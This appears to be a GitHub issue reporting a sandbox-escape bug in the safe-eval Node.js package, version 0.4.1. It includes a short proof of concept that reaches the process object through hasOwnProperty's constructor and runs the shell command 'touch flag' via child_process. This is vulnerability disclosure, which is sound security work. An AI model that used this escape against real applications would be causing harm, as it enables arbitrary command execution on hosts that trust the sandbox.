You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
// node version: 19.8.1// safe-eval version: 0.4.1varsafeEval=require('safe-eval')letcode=`(function () { let ret = hasOwnProperty; ret.constructor('return process')().mainModule.require('child_process').execSync('touch flag');}());`safeEval(code);
We found a sandbox escaping bug. This bug can be triggered by using hasOwnProperty function.
Also, we can execute arbitrary shell code using the process module.
The text was updated successfully, but these errors were encountered:
We found a sandbox escaping bug. This bug can be triggered by using
hasOwnProperty
function.Also, we can execute arbitrary shell code using the process module.
The text was updated successfully, but these errors were encountered: